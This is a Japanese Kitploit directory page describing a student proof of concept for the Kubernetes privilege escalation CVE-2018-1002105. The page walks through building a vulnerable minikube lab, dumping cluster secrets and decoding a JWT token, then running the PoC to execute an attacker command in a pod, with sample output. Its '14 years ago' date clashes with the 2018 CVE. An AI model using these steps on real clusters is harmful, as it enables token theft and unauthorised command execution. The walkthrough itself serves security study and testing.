Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-1002105 | Kitploit
ツール/GitHubGitHub/sh-ubh/cve-2018-1002105
特権昇格コンテナセキュリティ脆弱性分析エクスプロイトペネトレーションテストクラウドセキュリティ
GitHubsh-ubh/cve-2018-1002105

CVE-2018-1002105

リポジトリを見る
14年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CMPT733-Group11(0x90)

CVE-2018-1002105

メンバー: Abhishek Rungta, Shubham Saini, Siddhant Sood

環境セットアップ

  • Linux VM(例: Ubuntu 20.04)
  • Kubernetesのローカルデプロイメント用のMinikube
  • 以下のいずれかの旧バージョン(1.0.x— 1.9.x, 1.10.0—1.10.10, 1.11.0—1.11.4, 1.12.0—1.12.2)

エクスプロイトの実行

仮想ボックスイメージ(.ovaファイル)を用意しました。 それをダウンロードして、VMを作成してください。 提供されているOVAは、docker v18.09とminikube v1.9.0が事前設定されています。

OVAリンク

Kubernetesクラスターの構築

仮想イメージにはminkubeと必要なKubernetesバージョンがすでに含まれているため、次のコマンドを実行してminikubeを起動してください。

root@kitploit:~
minikube start --kubernetes-version=v1.12.2

新しいユーザー、ネームスペースの作成とロールの割り当て

次のコマンドを使用して、新しいユーザーとネームスペースを作成し、作成したユーザーにRBACロールを割り当てます。

root@kitploit:~
kubectl apply -f fixing_policy.yml

conntractへのアクセスを削除

root@kitploit:~
kubectl edit configmaps kube-proxy --namespace=kube-system

maxPerCoreを0に設定変更してください。

JWTトークンの取得

まず、システムに保存されているすべてのJWTトークンを取得するために、次のコマンドを実行します。

root@kitploit:~
kubectl get secrets -A

作成した特定のユーザーのシークレットを取得するには、次のコマンドを実行します:

root@kitploit:~
kubectl -n [namespace] get secrets [user-token] -o json

次に、それをbase64デコードします。

root@kitploit:~
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN

IPアドレスとポート番号の取得

root@kitploit:~
kubectl cluster-info

ポッドのデプロイ

root@kitploit:~
kubectl run --image=nginx:alpine securenginx -n poc

POCの実行

必要な引数をすべて指定してください:
-t for the target> ip:port (required)
-j ユーザーのJWTトークン(必須)
-p ポッド(必須)
-n ネームスペース
-m メソッド(必須)
-c コンテナ
-x 攻撃者コマンド

テストケース

入力

root@kitploit:~
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
root@kitploit:~
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0" 

出力

root@kitploit:~
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02  
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:217603 (212.5 KiB)  TX bytes:428778 (418.7 KiB)

{"metadata":{},"status":"Success"}

ビデオデモ

デモビデオ リンク

ツールをダウンロード